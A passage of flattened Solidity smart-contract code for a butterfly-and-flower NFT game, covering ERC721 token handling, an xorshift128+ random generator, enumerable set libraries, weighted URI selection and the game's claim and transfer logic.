// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name(ERC721Data storage self) external view returns (string) {
return self.name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol(ERC721Data storage self) external view returns (string) {
return self.symbol_;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(ERC721Data storage self, uint256 _tokenId) external view returns (string) {
require(exists(self, _tokenId));
return self.tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
ERC721Data storage self,
address _owner,
uint256 _index
) external view returns (uint256) {
require(_index < balanceOf(self, _owner));
return self.ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply(ERC721Data storage self) external view returns (uint256) {
return self.allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(ERC721Data storage self, uint256 _index) external view returns (uint256) {
require(_index < self.allTokens.length);
return self.allTokens[_index];
}
/**
* @dev Function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function setTokenURI(ERC721Data storage self, uint256 _tokenId, string _uri) external {
require(exists(self, _tokenId));
self.tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(ERC721Data storage self, address _to, uint256 _tokenId) internal {
require(self.tokenOwner[_tokenId] == address(0));
self.tokenOwner[_tokenId] = _to;
self.ownedTokensCount[_to] = self.ownedTokensCount[_to].add(1);
uint256 length = self.ownedTokens[_to].length;
self.ownedTokens[_to].push(_tokenId);
self.ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(ERC721Data storage self, address _from, uint256 _tokenId) internal {
require(ownerOf(self, _tokenId) == _from);
self.ownedTokensCount[_from] = self.ownedTokensCount[_from].sub(1);
self.tokenOwner[_tokenId] = address(0);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = self.ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = self.ownedTokens[_from].length.sub(1);
uint256 lastToken = self.ownedTokens[_from][lastTokenIndex];
self.ownedTokens[_from][tokenIndex] = lastToken;
self.ownedTokens[_from].length--;
// ^ This also deletes the contents at the last position of the array
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
self.ownedTokensIndex[_tokenId] = 0;
self.ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Function to mint a new token
* Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function mint(ERC721Data storage self, address _to, uint256 _tokenId) external {
require(_to != address(0));
_addTokenTo(self, _to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
self.allTokensIndex[_tokenId] = self.allTokens.length;
self.allTokens.push(_tokenId);
}
/**
* @dev Function to burn a specific token
* Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function burn(ERC721Data storage self, address _owner, uint256 _tokenId) external {
_clearApproval(self, _owner, _tokenId);
_removeTokenFrom(self, _owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
// Clear metadata (if any)
if (bytes(self.tokenURIs[_tokenId]).length != 0) {
delete self.tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = self.allTokensIndex[_tokenId];
uint256 lastTokenIndex = self.allTokens.length.sub(1);
uint256 lastToken = self.allTokens[lastTokenIndex];
self.allTokens[tokenIndex] = lastToken;
self.allTokens[lastTokenIndex] = 0;
self.allTokens.length--;
self.allTokensIndex[_tokenId] = 0;
self.allTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
ERC721Data storage self,
address _spender,
uint256 _tokenId
) public view returns (bool) {
address owner = ownerOf(self, _tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner
|| getApproved(self, _tokenId) == _spender
|| isApprovedForAll(self, owner, _spender)
);
}
}
// File: contracts/library/token/ERC721Token.sol
/**
* @title ERC721Token
*
* @dev This token interfaces with the OpenZepellin's ERC721 implementation (as of 7/31/2018) as
* an external library, in order to keep contract sizes smaller. Intended for use with the
* ERC721Manager.sol, also provided.
*
* Both files are released under the MIT License.
*
*
* The MIT License (MIT)
*
* Copyright (c) 2016 Smart Contract Solutions, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
contract ERC721Token is ERC165, ERC721 {
ERC721Manager.ERC721Data internal erc721Data;
// We define the events on both the library and the client, so that the events emitted here are detected
// as if they had been emitted by the client
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
constructor(string _name, string _symbol) public {
ERC721Manager.initialize(erc721Data, _name, _symbol);
}
function supportsInterface(bytes4 _interfaceId) external view returns (bool) {
return ERC721Manager.supportsInterface(erc721Data, _interfaceId);
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return ERC721Manager.balanceOf(erc721Data, _owner);
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
return ERC721Manager.ownerOf(erc721Data, _tokenId);
}
function exists(uint256 _tokenId) public view returns (bool _exists) {
return ERC721Manager.exists(erc721Data, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
ERC721Manager.approve(erc721Data, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address _operator) {
return ERC721Manager.getApproved(erc721Data, _tokenId);
}
function setApprovalForAll(address _to, bool _approved) public {
ERC721Manager.setApprovalForAll(erc721Data, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return ERC721Manager.isApprovedForAll(erc721Data, _owner, _operator);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
ERC721Manager.transferFrom(erc721Data, _from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public {
ERC721Manager.safeTransferFrom(erc721Data, _from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public {
ERC721Manager.safeTransferFrom(erc721Data, _from, _to, _tokenId, _data);
}
function totalSupply() public view returns (uint256) {
return ERC721Manager.totalSupply(erc721Data);
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId) {
return ERC721Manager.tokenOfOwnerByIndex(erc721Data, _owner, _index);
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
return ERC721Manager.tokenByIndex(erc721Data, _index);
}
function name() external view returns (string _name) {
return erc721Data.name_;
}
function symbol() external view returns (string _symbol) {
return erc721Data.symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
return ERC721Manager.tokenURI(erc721Data, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
ERC721Manager.mint(erc721Data, _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
ERC721Manager.burn(erc721Data, _owner, _tokenId);
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
ERC721Manager.setTokenURI(erc721Data, _tokenId, _uri);
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
) public view returns (bool) {
return ERC721Manager.isApprovedOrOwner(erc721Data, _spender, _tokenId);
}
}
// File: contracts/library/data/PRNG.sol
/**
* Implementation of the xorshift128+ PRNG
*/
library PRNG {
struct Data {
uint64 s0;
uint64 s1;
}
function next(Data storage self) external returns (uint64) {
uint64 x = self.s0;
uint64 y = self.s1;
self.s0 = y;
x ^= x << 23; // a
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26); // b, c
return self.s1 + y;
}
}
// File: contracts/library/data/EnumerableSetAddress.sol
/**
* @title EnumerableSetAddress
* @dev Library containing logic for an enumerable set of address values -- supports checking for presence, adding,
* removing elements, and enumerating elements (without preserving order between mutable operations).
*/
library EnumerableSetAddress {
struct Data {
address[] elements;
mapping(address => uint160) elementToIndex;
}
/**
* @dev Returns whether the set contains a given element
*
* @param self Data storage Reference to set data
* @param value address Value being checked for existence
* @return bool
*/
function contains(Data storage self, address value) external view returns (bool) {
uint160 mappingIndex = self.elementToIndex[value];
return (mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value);
}
/**
* @dev Adds a new element to the set. Element must not belong to set yet.
*
* @param self Data storage Reference to set data
* @param value address Value being added
*/
function add(Data storage self, address value) external {
uint160 mappingIndex = self.elementToIndex[value];
require(!((mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value)));
self.elementToIndex[value] = uint160(self.elements.length);
self.elements.push(value);
}
/**
* @dev Removes an element from the set. Element must already belong to set.
*
* @param self Data storage Reference to set data
* @param value address Value being removed
*/
function remove(Data storage self, address value) external {
uint160 currentElementIndex = self.elementToIndex[value];
require((currentElementIndex < self.elements.length) && (self.elements[currentElementIndex] == value));
uint160 lastElementIndex = uint160(self.elements.length - 1);
address lastElement = self.elements[lastElementIndex];
self.elements[currentElementIndex] = lastElement;
self.elements[lastElementIndex] = 0;
self.elements.length--;
self.elementToIndex[lastElement] = currentElementIndex;
self.elementToIndex[value] = 0;
}
/**
* @dev Gets the number of elements on the set.
*
* @param self Data storage Reference to set data
* @return uint160
*/
function size(Data storage self) external view returns (uint160) {
return uint160(self.elements.length);
}
/**
* @dev Gets the N-th element from the set, 0-indexed. Note that the ordering is not necessarily consistent
* before and after add, remove operations.
*
* @param self Data storage Reference to set data
* @param index uint160 0-indexed position of the element being queried
* @return address
*/
function get(Data storage self, uint160 index) external view returns (address) {
return self.elements[index];
}
/**
* @dev Mark the set as empty (not containing any further elements).
*
* @param self Data storage Reference to set data
*/
function clear(Data storage self) external {
self.elements.length = 0;
}
/**
* @dev Copy all data from a source set to a target set
*
* @param source Data storage Reference to source data
* @param target Data storage Reference to target data
*/
function copy(Data storage source, Data storage target) external {
uint160 numElements = uint160(source.elements.length);
target.elements.length = numElements;
for (uint160 index = 0; index < numElements; index++) {
address element = source.elements[index];
target.elements[index] = element;
target.elementToIndex[element] = index;
}
}
/**
* @dev Adds all elements from another set into this set, if they are not already present
*
* @param self Data storage Reference to set being edited
* @param other Data storage Reference to set items are being added from
*/
function addAll(Data storage self, Data storage other) external {
uint160 numElements = uint160(other.elements.length);
for (uint160 index = 0; index < numElements; index++) {
address value = other.elements[index];
uint160 mappingIndex = self.elementToIndex[value];
if (!((mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value))) {
self.elementToIndex[value] = uint160(self.elements.length);
self.elements.push(value);
}
}
}
}
// File: contracts/library/data/EnumerableSet256.sol
/**
* @title EnumerableSet256
* @dev Library containing logic for an enumerable set of uint256 values -- supports checking for presence, adding,
* removing elements, and enumerating elements (without preserving order between mutable operations).
*/
library EnumerableSet256 {
struct Data {
uint256[] elements;
mapping(uint256 => uint256) elementToIndex;
}
/**
* @dev Returns whether the set contains a given element
*
* @param self Data storage Reference to set data
* @param value uint256 Value being checked for existence
* @return bool
*/
function contains(Data storage self, uint256 value) external view returns (bool) {
uint256 mappingIndex = self.elementToIndex[value];
return (mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value);
}
/**
* @dev Adds a new element to the set. Element must not belong to set yet.
*
* @param self Data storage Reference to set data
* @param value uint256 Value being added
*/
function add(Data storage self, uint256 value) external {
uint256 mappingIndex = self.elementToIndex[value];
require(!((mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value)));
self.elementToIndex[value] = uint256(self.elements.length);
self.elements.push(value);
}
/**
* @dev Removes an element from the set. Element must already belong to set yet.
*
* @param self Data storage Reference to set data
* @param value uint256 Value being added
*/
function remove(Data storage self, uint256 value) external {
uint256 currentElementIndex = self.elementToIndex[value];
require((currentElementIndex < self.elements.length) && (self.elements[currentElementIndex] == value));
uint256 lastElementIndex = uint256(self.elements.length - 1);
uint256 lastElement = self.elements[lastElementIndex];
self.elements[currentElementIndex] = lastElement;
self.elements[lastElementIndex] = 0;
self.elements.length--;
self.elementToIndex[lastElement] = currentElementIndex;
self.elementToIndex[value] = 0;
}
/**
* @dev Gets the number of elements on the set.
*
* @param self Data storage Reference to set data
* @return uint256
*/
function size(Data storage self) external view returns (uint256) {
return uint256(self.elements.length);
}
/**
* @dev Gets the N-th element from the set, 0-indexed. Note that the ordering is not necessarily consistent
* before and after add, remove operations.
*
* @param self Data storage Reference to set data
* @param index uint256 0-indexed position of the element being queried
* @return uint256
*/
function get(Data storage self, uint256 index) external view returns (uint256) {
return self.elements[index];
}
/**
* @dev Mark the set as empty (not containing any further elements).
*
* @param self Data storage Reference to set data
*/
function clear(Data storage self) external {
self.elements.length = 0;
}
}
// File: contracts/library/data/URIDistribution.sol
/**
* @title URIDistribution
* @dev Library responsible for maintaining a weighted distribution of URIs
*/
library URIDistribution {
struct Data {
uint16[] cumulativeWeights;
mapping(uint16 => string) uris;
}
/**
* @dev Adds a URI to the distribution, with a given weight
*
* @param self Data storage Distribution data reference
* @param weight uint16 Relative distribution weight
* @param uri string URI to be stored
*/
function addURI(Data storage self, uint16 weight, string uri) external {
if (weight == 0) return;
if (self.cumulativeWeights.length == 0) {
self.cumulativeWeights.push(weight);
} else {
self.cumulativeWeights.push(self.cumulativeWeights[uint16(self.cumulativeWeights.length - 1)] + weight);
}
self.uris[uint16(self.cumulativeWeights.length - 1)] = uri;
}
/**
* @dev Gets an URI from the distribution, with the given random seed
*
* @param self Data storage Distribution data reference
* @param seed uint64
* @return string
*/
function getURI(Data storage self, uint64 seed) external view returns (string) {
uint16 n = uint16(self.cumulativeWeights.length);
uint16 modSeed = uint16(seed % uint64(self.cumulativeWeights[n - 1]));
uint16 left = 0;
uint16 right = n;
uint16 mid;
while (left < right) {
mid = uint16((uint24(left) + uint24(right)) / 2);
if (self.cumulativeWeights[mid] <= modSeed) {
left = mid + 1;
} else {
right = mid;
}
}
return self.uris[left];
}
}
// File: contracts/library/game/GameDataLib.sol
/**
* @title GameDataLib
*
* Library containing data structures and logic for game entities.
*/
library GameDataLib {
/** Data structures */
struct Butterfly {
// data encoding butterfly appearance
uint64 gene;
// time this butterfly was created
uint64 createdTimestamp;
// last time this butterfly changed owner
uint64 lastTimestamp;
// set of owners, current and former
EnumerableSetAddress.Data previousAddresses;
}
struct Heart {
// ID of butterfly that generated this heart
uint256 butterflyId;
// time this heart was generated
uint64 snapshotTimestamp;
// set of owners, current and former, at time heart was generated
EnumerableSetAddress.Data previousAddresses;
}
struct Flower {
// Whether this address has ever claimed a butterfly
bool isClaimed;
// Data encoding flower appearance
uint64 gene;
// Data encoding the garden's timezone
uint64 gardenTimezone;
// Data encoding the creation timestamp
uint64 createdTimestamp;
// index of the flower registration
uint160 flowerIndex;
}
struct URIMappingData {
URIDistribution.Data flowerURIs;
string whiteFlowerURI;
URIDistribution.Data butterflyLiveURIs;
URIDistribution.Data butterflyDeadURIs;
URIDistribution.Data heartURIs;
}
// possible types of NFT
enum TokenType {
Butterfly,
Heart
}
struct Data {
// global pseudo-randomization seed
PRNG.Data seed;
// next ID available for token generation
uint256 nextId;
// token type data
mapping (uint256 => TokenType) tokenToType;
mapping (uint8 => mapping (address => EnumerableSet256.Data)) typedOwnedTokens;
mapping (uint8 => EnumerableSet256.Data) typedTokens;
// token data
mapping (uint256 => Butterfly) butterflyData;
mapping (uint256 => Heart) heartData;
// owner data
mapping (address => Flower) flowerData;
address[] claimedFlowers;
// URI mapping data
URIMappingData uriMappingData;
}
/** Viewer methods */
/**
* @dev Gets game information associated with a specific butterfly.
* Requires ID to be a valid butterfly.
*
* @param self Data storage Reference to game data
* @param butterflyId uint256 ID of butterfly being queried
*
* @return gene uint64
* @return createdTimestamp uint64
* @return lastTimestamp uint64
* @return numOwners uint160
*/
function getButterflyInfo(
Data storage self,
uint256 butterflyId
) external view returns (
uint64 gene,
uint64 createdTimestamp,
uint64 lastTimestamp,
uint160 numOwners
) {
Butterfly storage butterfly = self.butterflyData[butterflyId];
require(butterfly.createdTimestamp != 0);
gene = butterfly.gene;
createdTimestamp = butterfly.createdTimestamp;
lastTimestamp = butterfly.lastTimestamp;
numOwners = uint160(butterfly.previousAddresses.elements.length);
}
/**
* @dev Gets game information associated with a specific heart.
* Requires ID to be a valid heart.
*
* @param self Data storage Reference to game data
* @param heartId uint256 ID of heart being queried
*
* @return butterflyId uint256
* @return gene uint64
* @return snapshotTimestamp uint64
* @return numOwners uint160
*/
function getHeartInfo(
Data storage self,
uint256 heartId
) external view returns (
uint256 butterflyId,
uint64 gene,
uint64 snapshotTimestamp,
uint160 numOwners
) {
Heart storage heart = self.heartData[heartId];
require(heart.snapshotTimestamp != 0);
butterflyId = heart.butterflyId;
gene = self.butterflyData[butterflyId].gene;
snapshotTimestamp = heart.snapshotTimestamp;
numOwners = uint160(heart.previousAddresses.elements.length);
}
/**
* @dev Gets game information associated with a specific flower.
*
* @param self Data storage Reference to game data
* @param flowerAddress address Address of the flower being queried
*
* @return isClaimed bool
* @return gene uint64
* @return gardenTimezone uint64
* @return createdTimestamp uint64
* @return flowerIndex uint160
*/
function getFlowerInfo(
Data storage self,
address flowerAddress
) external view returns (
bool isClaimed,
uint64 gene,
uint64 gardenTimezone,
uint64 createdTimestamp,
uint160 flowerIndex
) {
Flower storage flower = self.flowerData[flowerAddress];
isClaimed = flower.isClaimed;
if (isClaimed) {
gene = flower.gene;
gardenTimezone = flower.gardenTimezone;
createdTimestamp = flower.createdTimestamp;
flowerIndex = flower.flowerIndex;
}
}
/**
* @dev Returns the N-th owner associated with a butterfly.
* Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners.
*
* @param self Data storage Reference to game data
* @param butterflyId uint256 ID of butterfly being queried
* @param index uint160 Index of owner being queried
*
* @return address
*/
function getButterflyOwnerByIndex(
Data storage self,
uint256 butterflyId,
uint160 index
) external view returns (address) {
Butterfly storage butterfly = self.butterflyData[butterflyId];
require(butterfly.createdTimestamp != 0);
return butterfly.previousAddresses.elements[index];
}
/**
* @dev Returns the N-th owner associated with a heart's snapshot.
* Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners.
*
* @param self Data storage Reference to game data
* @param heartId uint256 ID of heart being queried
* @param index uint160 Index of owner being queried
*
* @return address
*/
function getHeartOwnerByIndex(
Data storage self,
uint256 heartId,
uint160 index
) external view returns (address) {
Heart storage heart = self.heartData[heartId];
require(heart.snapshotTimestamp != 0);
return heart.previousAddresses.elements[index];
}
/**
* @dev Determines whether the game logic allows a transfer of a butterfly to another address.
* Conditions:
* - The receiver address must have already claimed a butterfly
* - The butterfly's last timestamp is within the last 24 hours
* - The receiver address must have never claimed *this* butterfly
* OR
* - The receiver is 0x0
*
* @param self Data storage Reference to game data
* @param butterflyId uint256 ID of butterfly being queried
* @param receiver address Address of potential receiver
* @param currentTimestamp uint64
*/
function canReceiveButterfly(
Data storage self,
uint256 butterflyId,
address receiver,
uint64 currentTimestamp
) public view returns (bool) {
Butterfly storage butterfly = self.butterflyData[butterflyId];
// butterfly must exist
if (butterfly.createdTimestamp == 0)
return false;
// can always transfer to 0 (destroying it)
if (receiver == address(0x0))
return true;
// butterfly must have been last updated on the last day
if (currentTimestamp < butterfly.lastTimestamp || currentTimestamp - butterfly.lastTimestamp > 1 days)
return false;
// receiver must have already claimed
Flower storage flower = self.flowerData[receiver];
if (!flower.isClaimed) return false;
// receiver must have never owned this butterfly
return !EnumerableSetAddress.contains(butterfly.previousAddresses, receiver);
}
/** Editor methods */
/**
* @dev Claims a flower and an initial butterfly for a given address.
* Requires address to have not claimed previously
*
* @param self Data storage Reference to game data
* @param claimer address Address making the claim
* @param gardenTimezone uint64
* @param currentTimestamp uint64
*
* @return butterflyId uint256 ID for the new butterfly
*/
function claim(
Data storage self,
address claimer,
uint64 gardenTimezone,
uint64 currentTimestamp
) external returns (uint256 butterflyId) {
Flower storage flower = self.flowerData[claimer];
// require address has not claimed before
require(!flower.isClaimed);
// assert no overflow on IDs
require(self.nextId + 1 != 0);
// get butterfly ID
butterflyId = self.nextId;
// assert ID is not being reused
Butterfly storage butterfly = self.butterflyData[butterflyId];
require(butterfly.createdTimestamp == 0);
// update counter
self.nextId++;
// update flower data
flower.isClaimed = true;
flower.gardenTimezone = gardenTimezone;
flower.createdTimestamp = currentTimestamp;
flower.gene = PRNG.next(self.seed);
flower.flowerIndex = uint160(self.claimedFlowers.length);
// update butterfly data
butterfly.gene = PRNG.next(self.seed);
butterfly.createdTimestamp = currentTimestamp;
butterfly.lastTimestamp = currentTimestamp;
EnumerableSetAddress.add(butterfly.previousAddresses, claimer);
// update butterfly token data
self.tokenToType[butterflyId] = TokenType.Butterfly;
// register butterfly token
EnumerableSet256.add(self.typedOwnedTokens[uint8(TokenType.Butterfly)][claimer], butterflyId);
EnumerableSet256.add(self.typedTokens[uint8(TokenType.Butterfly)], butterflyId);
// register address
self.claimedFlowers.push(claimer);
}
/**
* @dev Logs a transfer of a butterfly between two addresses, leaving a heart behind.
*
* Conditions:
* - The receiver address must have already claimed a butterfly
* - The butterfly's last timestamp is within the last 24 hours
*
* @param self Data storage Reference to game data
* @param butterflyId uint256 ID of butterfly being queried
* @param sender Address of sender
* @param receiver address Address of potential receiver
* @param currentTimestamp uint64
*
* @return heartId uint256 ID for the new heart
*/
function transferButterfly(
Data storage self,
uint256 butterflyId,
address sender,
address receiver,
uint64 currentTimestamp
) external returns (uint256 heartId) {
// require transfer conditions to be satisfied
require(canReceiveButterfly(self, butterflyId, receiver, currentTimestamp));
// require no overflow on IDs
require(self.nextId + 1 != 0);
// get heart ID
heartId = self.nextId;
// assert ID is not being reused
Heart storage heart = self.heartData[heartId];
require(heart.snapshotTimestamp == 0);
// update counter
self.nextId++;
// update heart data
heart.butterflyId = butterflyId;
heart.snapshotTimestamp = currentTimestamp;
Butterfly storage butterfly = self.butterflyData[butterflyId];
// update heart token heartId
self.tokenToType[heartId] = TokenType.Heart;
// update butterfly data
butterfly.lastTimestamp = currentTimestamp;
EnumerableSetAddress.add(butterfly.previousAddresses, receiver);
// update heart addresses
EnumerableSetAddress.copy(butterfly.previousAddresses, heart.previousAddresses);
// update butterfly register
EnumerableSet256.remove(self.typedOwnedTokens[uint8(TokenType.Butterfly)][sender], butterflyId);
EnumerableSet256.add(self.typedOwnedTokens[uint8(TokenType.Butterfly)][receiver], butterflyId);
// update heart register
EnumerableSet256.add(self.typedOwnedTokens[uint8(TokenType.Heart)][sender], heartId);
EnumerableSet256.add(self.typedTokens[uint8(TokenType.Heart)], heartId);
}
/**
* @dev Logs a transfer of a heart between two addresses
*
* @param self Data storage Reference to game data
* @param heartId uint256 ID of heart being queried
* @param sender Address of sender
* @param receiver address Address of potential receiver
*/
function transferHeart(
Data storage self,
uint256 heartId,
address sender,
address receiver
) external {
// update heart register
EnumerableSet256.remove(self.typedOwnedTokens[uint8(TokenType.Heart)][sender], heartId);
EnumerableSet256.add(self.typedOwnedTokens[uint8(TokenType.Heart)][receiver], heartId);
}
/**
* @dev Returns the total number of tokens for a given type, owned by a specific address
*
* @param self Data storage Reference to game data
* @param tokenType uint8
* @param _owner address
*
* @return uint256
*/
function typedBalanceOf(Data storage self, uint8 tokenType, address _owner) public view returns (uint256) {
return self.typedOwnedTokens[tokenType][_owner].elements.length;
}
/**
* @dev Returns the total number of tokens for a given type
*
* @param self Data storage Reference to game data
* @param tokenType uint8
*
* @return uint256
*/
function typedTotalSupply(Data storage self, uint8 tokenType) public view returns (uint256) {
return self.typedTokens[tokenType].elements.length;
}
/**
* @dev Returns the I-th token of a specific type owned by an index
*
* @param self Data storage Reference to game data
* @param tokenType uint8
* @param _owner address
* @param _index uint256
*
* @return uint256
*/
function typedTokenOfOwnerByIndex(
Data storage self,
uint8 tokenType,
address _owner,
uint256 _index
) external view returns (uint256) {
return self.typedOwnedTokens[tokenType][_owner].elements[_index];
}
/**
* @dev Returns the I-th token of a specific type
*
* @param self Data storage Reference to game data
* @param tokenType uint8
* @param _index uint256
*
* @return uint256
*/
function typedTokenByIndex(
Data storage self,
uint8 tokenType,
uint256 _index
) external view returns (uint256) {
return self.typedTokens[tokenType].elements[_index];
}
/**
* @dev Gets the total number of claimed flowers
*
* @param self Data storage Reference to game data
* @return uint160
*/
function totalFlowers(Data storage self) external view returns (uint160) {
return uint160(self.claimedFlowers.length);
}
/**
* @dev Gets the address of the N-th flower
*
* @param self Data storage Reference to game data
* @return address
*/
function getFlowerByIndex(Data storage self, uint160 index) external view returns (address) {
return self.claimedFlowers[index];
}
/** Admin methods **/
/**
* @dev Registers a new flower URI with the corresponding weight
*
* @param self Data storage Reference to game data
* @param weight uint16 Relative weight for the occurrence of this URI
* @param uri string
*/
function addFlowerURI(Data storage self, uint16 weight, string uri) external {
URIDistribution.addURI(self.uriMappingData.flowerURIs, weight, uri);
}
/**
* @dev Registers the flower URI for address 0
*
* @param self Data storage Reference to game data
* @param uri string
*/
function setWhiteFlowerURI(Data storage self, string uri) external {
self.uriMappingData.whiteFlowerURI = uri;
}
/**
* @dev Gets the flower URI for address 0
*
* @param self Data storage Reference to game data
* @return string
*/
function getWhiteFlowerURI(Data storage self) external view returns (string) {
return self.uriMappingData.whiteFlowerURI;
}
/**
* @dev Registers a new butterfly URI with the corresponding weight
*
* @param self Data storage Reference to game data
* @param weight uint16 Relative weight for the occurrence of this URI
* @param liveUri string
* @param deadUri string
* @param heartUri string
*/
function addButterflyURI(Data storage self, uint16 weight, string liveUri, string deadUri, string heartUri) external {
URIDistribution.addURI(self.uriMappingData.butterflyLiveURIs, weight, liveUri);
URIDistribution.addURI(self.uriMappingData.butterflyDeadURIs, weight, deadUri);
URIDistribution.addURI(self.uriMappingData.heartURIs, weight, heartUri);
}
/**
* @dev Returns the URI mapped to a particular flower.
* Requires flower to be claimed / exist.
*
* @param self Data storage Reference to game data
* @param flowerAddress address Flower being queried
* @return string
*/
function getFlowerURI(Data storage self, address flowerAddress) external view returns (string) {
Flower storage flower = self.flowerData[flowerAddress];
require(flower.isClaimed);
return URIDistribution.getURI(self.uriMappingData.flowerURIs, flower.gene);
}
/**
* @dev Returns the URI mapped to a particular butterfly -- selecting the URI for it being alive
* or dead based on the current timestamp.
* Requires butterfly to exist.
*
* @param self Data storage Reference to game data
* @param erc721Data ERC721Manager.ERC721Data storage Reference to ownership data
* @param butterflyId uint256 ID of the butterfly being queried
* @param currentTimestamp uint64
* @return string
*/
function getButterflyURI(
Data storage self,
ERC721Manager.ERC721Data storage erc721Data,
uint256 butterflyId,
uint64 currentTimestamp
) external view returns (string) {
Butterfly storage butterfly = self.butterflyData[butterflyId];
require(butterfly.createdTimestamp != 0);
if (erc721Data.tokenOwner[butterflyId] == 0
|| currentTimestamp < butterfly.lastTimestamp
|| currentTimestamp - butterfly.lastTimestamp > 1 days) {
return URIDistribution.getURI(self.uriMappingData.butterflyDeadURIs, butterfly.gene);
}
return URIDistribution.getURI(self.uriMappingData.butterflyLiveURIs, butterfly.gene);
}
/**
* @dev Returns the URI for a particular butterfly gene -- useful for seeing the butterfly "as it was"
* when it dropped a heart
*
* @param self Daata storage Reference to game data
* @param gene uint64
* @param isAlive bool
* @return string
*/
function getButterflyURIFromGene(
Data storage self,
uint64 gene,
bool isAlive
) external view returns (string) {
if (isAlive) {
return URIDistribution.getURI(self.uriMappingData.butterflyLiveURIs, gene);
}
return URIDistribution.getURI(self.uriMappingData.butterflyDeadURIs, gene);
}
/**
* @dev Returns the URI mapped to hearts
*
* @param self Data storage Reference to game data
* @param heartId uint256 ID of heart being queried
* @return string
*/
